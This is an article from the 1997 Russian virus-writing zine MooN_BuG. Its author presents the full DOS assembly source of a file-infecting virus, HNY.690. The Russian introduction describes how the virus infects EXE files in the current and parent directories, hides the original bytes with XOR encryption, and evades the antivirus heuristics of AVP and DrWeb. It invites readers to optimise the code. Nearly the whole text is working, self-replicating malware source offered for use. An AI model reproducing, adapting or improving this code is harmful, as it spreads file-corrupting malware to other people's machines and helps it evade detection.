[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 4, Dec 1997 file 00A
Вирус HNY.690
by RedArc
Перефразируя всем известную фразу Д.Н. Лозинского, хочу сказать: странные
люди пишут антивирусы... Взял я свой старенький вирус, о котором в вирлисте к
DrWeb написано господином Даниловым:
RedArc.Fraud
Неопасный нерезидентный вирус. Заражает EXE-файлы, внедряя свой код в
начало файлов (переводя их в COM-формат), а зашифрованные оригинальные
начальные байты переносит в конец файлов. При старте такого файла,
вирус производит поиск и заражение EXE-файлов. После чего, если было
произведено хоть одно заражение, вирус восстанавливает файл-жертву в
исходное состояние ("самоизлечивается") и выводит текст "Bad command or
file name".
К чему оставалось лишь добавить, что поиск осуществлялся в текущеи и
родительских каталогах и вирус инфицировал не более одного файла. К тому же,
не производился запуск инфицированной программы на исполнение, вместо этого
выдавалась фраза "Bad command or file name". Вирус написан так себе, в
подражении к HLLP. Правда он был совершенно не защищен, но в то же время его
по каким то, известным только Данилову и Касперскому, соображениям не видели
эвристические анализаторы кода таких антивирусных программ, как AVP и DrWeb. И
вот решился я немного его "доделать", т.е. инфицировать все EXE-программы
подходящих размеров, попавшиеся под руку ну и сделать запуск
программы-носителя на исполнение... попутно немного убрал с глаз маску поиска
файлов (что не принципиально). Заменил сообщение и сделал его вызов при ошибке
доступа к файлу... Дык что бы вы думали? Вирус снова оказался за пределами
видимости эвристиков.
Разумеется, что код этой зверушки может и должен быть оптимизирован, что
я вам и предоставляю. Мне же достаточно того, что все громкие слова авторов
отечественных антивирусов о том, что их эвристики запросто находят аж
неизвестные новые полиморфики оказались не более, чем мыльный пузырь... ;)
Извините за отсутствие комментариев, но мне кажется, что здесь и
комментировать то нечего. Откомпиллированный исходник вы найдете под именем
hny690.com в каталоге \APPENDIX.VIR
=== Cut ===
Model Tiny
.code
.startup
.386
jumps
ORG 100h
START:
mov es,word ptr ds:[2ch]
xchg cx,di
xchg di,bx
inc al
repne scasw
xchg si,di
mov di,offset FileExec
Pred:
mov al, byte ptr es:[si]
mov byte ptr cs:[di], al
cmp al,0
jz Next
inc si
inc di
jmp short Pred
Next:
push cs
pop es
call EXEC_BOSS
mov cx,5
AGAYN:
mov word ptr cs:[E_MASK],'.*'
mov byte ptr cs:[E_MASK+2],'*'
mov byte ptr cs:[E_MASK+3],0h
push cx
call FIND_CURRENT_DIR
call CHANGE_PATH
pop cx
loop AGAYN
RET_TO_DOS:
mov ah,4ch
int 21h
;-----------------
EXEC_BOSS:
mov al,byte ptr cs:[di-1]
cmp al,'M'
jnz EXEC_BOSS1
jmp EXEC_EXIT
DI_SAVE dw ?
SS_SAVE dw ?
SP_SAVE dw ?
nop
EXEC_BOSS1:
inc di
mov DI_SAVE, di
pusha
mov dx, offset FileExec
mov ax,3d02h
int 21h
xchg ax,bx
mov ax,4202h
xor dx,dx
xor cx,cx
int 21h
xchg ax,dx
mov ax,4200h
sub dx,OFS
mov si,dx
xor cx,cx
int 21h
mov ah,3fh
mov dx,di
mov cx,OFS
push cx
push di
int 21h
pop dx
mov cx,OFS/2
push dx
xchg dx,di
LOC_2:
mov ax,[di]
xor ax,1234h
xor ax,cx
xor ax,1234h
mov [di],ax
inc di
inc di
loop LOC_2
call Move_Start
mov ah,40h
pop dx
pop cx
int 21h
mov ax,4200h
xchg dx,si
xor cx,cx
int 21h
mov ah,40h
xor cx,cx
xor dx,dx
int 21h
mov ah,3eh
int 21h
mov bx, (OFS + 30fh)/16
mov ah,4ah
int 21h
mov SS_SAVE,SS
mov SP_SAVE,SP
mov di, DI_SAVE
xor ax,ax
mov [di], ax
mov ax, 80h
mov [di + 2], ax
mov [di + 4], cs
mov ax,5ch
mov [di + 6],ax
mov [di + 8],cs
mov ax,6ch
mov [di + 10],ax
mov [di + 12],cs
mov byte ptr [di + 14],0eh
mov ax,4b00h
mov bx, DI_SAVE
mov dx,offset FileExec
int 21h
mov ax,word ptr cs:[SS_SAVE]
mov ss,ax
mov ax,word ptr cs:[SP_SAVE]
mov sp,ax
push cs
pop ds
push cs
pop es
mov ah,1ah
mov dx,80h
int 21h
mov bx, (OFS + OFS + 20fh)/16
mov ah,4ah
int 21h
popa
EXEC_EXIT:
ret
;---------------------------------
Inspected:
cmp byte ptr cs:[9eh],'.'
jne CHANGE_ATTR
ret
CHANGE_ATTR:
mov dx,9eh
mov ax,4301h
xor cx,cx
int 21h
mov ax,3d02h
int 21h
xchg ax,bx
cmp bx,5
jl Close_File
mov ah,3fh
mov cx,2
mov dx,offset SIGN
int 21h
mov dx,SIGN
cmp dx,5a4dh
jz Infected
Close_File:
cmp bx,5
je CF1
mov ah,09h
lea dx,HNY
mov si,dx
CF2:
mov cl, byte ptr [si]
xor cl, 0adh
mov byte ptr [si], cl
cmp cl, '$'
jnz CF2
int 21h
lea dx,HNY
mov si,dx
CF3:
mov cl, byte ptr [si]
xor cl, 0adh
mov byte ptr [si], cl
cmp cl, '$' xor 0adh
jnz CF3
CF1:
mov ah,3eh
int 21h
ret
Infected:
mov SIGN,sp
mov word ptr cs:[E_MASK],ss
mov word ptr cs:[E_MASK+2],cs
call Move_End
and ax,0f000h
cmp ax,0f000h
jnz Len_Tested
jmp Close_File
Len_Tested:
cmp dx,0
jz Len_Tested1
jmp Close_File
Len_Tested1:
call Move_Start
mov ah,3fh
mov cx,OFS
mov dx,cx
add dx,100h
push cx
push dx
int 21h
pop dx
mov cx,OFS/2
push dx
xchg dx,di
LOC_1:
mov ax,[di]
xor ax,1234h
xor ax,cx
xor ax,1234h
mov [di],ax
inc di
inc di
loop LOC_1
call Move_End
mov ah,40h
pop dx
pop cx
int 21h
call Move_Start
mov ah,40h
mov cx,OFS
mov dx,100h
int 21h
mov ax,5701h
mov dx, word ptr cs:[80h+18h]
mov cx, word ptr cs:[80h+16h]
int 21h
mov ah,3eh
int 21h
mov ax,4301h
mov dx,9eh
mov cx,word ptr cs:[80h+15h]
int 21h
ret
;----------------------
Move_End:
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
ret
Move_Start:
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
ret
FIND_CURRENT_DIR:
mov ah,1ah
mov dx,80h
int 21h
mov dx,offset E_MASK
mov ah,4eh
mov cx,0ffffh
INTERRUPT:
int 21h
jb NOT_FILE
call Inspected
push cs
pop ds
mov ah,4fh
jmp short INTERRUPT
NOT_FILE:
ret
;------------
CHANGE_PATH:
push ax
push dx
push si
MOV AH,3BH
LEA DX,CPATH
INT 21H
pop si
pop dx
pop ax
ret
;--- DATA
SIGN dw ?
E_MASK db '*.*',0h
CPATH db '..',0h
HNY db 'H' xor 0adh, 'a' xor 0adh, 'p' xor 0adh, 'p' xor 0adh
db 'y' xor 0adh, ' ' xor 0adh, 'N' xor 0adh, 'e' xor 0adh
db 'w' xor 0adh, ' ' xor 0adh, 'Y' xor 0adh, 'e' xor 0adh
db 'a' xor 0adh, 'r' xor 0adh, '!' xor 0adh, 0ah xor 0adh
db 0dh xor 0adh, '$' xor 0adh
CURPATH db 80 dup (?)
db 0h
FileExec db (0h)
OFS equ $-START
END START
=== Cut ===